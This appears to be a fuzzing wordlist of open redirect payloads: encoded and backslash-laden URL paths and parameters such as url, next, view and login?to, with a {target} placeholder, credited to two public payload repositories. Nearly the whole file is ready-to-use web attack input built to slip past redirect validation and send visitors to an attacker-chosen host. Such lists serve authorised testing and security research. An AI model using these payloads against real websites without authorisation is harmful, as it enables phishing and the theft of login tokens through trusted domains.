/%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
?url=http://{target}
?url=https://{target}
?next=http://{target}
?next=https://{target}
?url=https://{target}
?url=http://{target}
?url=//{target}
?url=$2f%2f{target}
?next=//{target}
?next=$2f%2f{target}
?url=//{target}
?url=$2f%2f{target}
?url=//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/\{target}
/out?///{target}
?view={target}
?view=/{target}
?view=//{target}
?view=/\{target}
?view=///{target}
/login?to={target}
/login?to=/{target}
/login?to=//{target}
/login?to=/\{target}
/login?to=///{target}
Open Redirect Payloads by @cujanovic
https://github.com/cujanovic/Open-Redirect-Payloads
Open Redirect Paramters by @fuzzdb-project
https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/redirect/redirect-urls-template.txt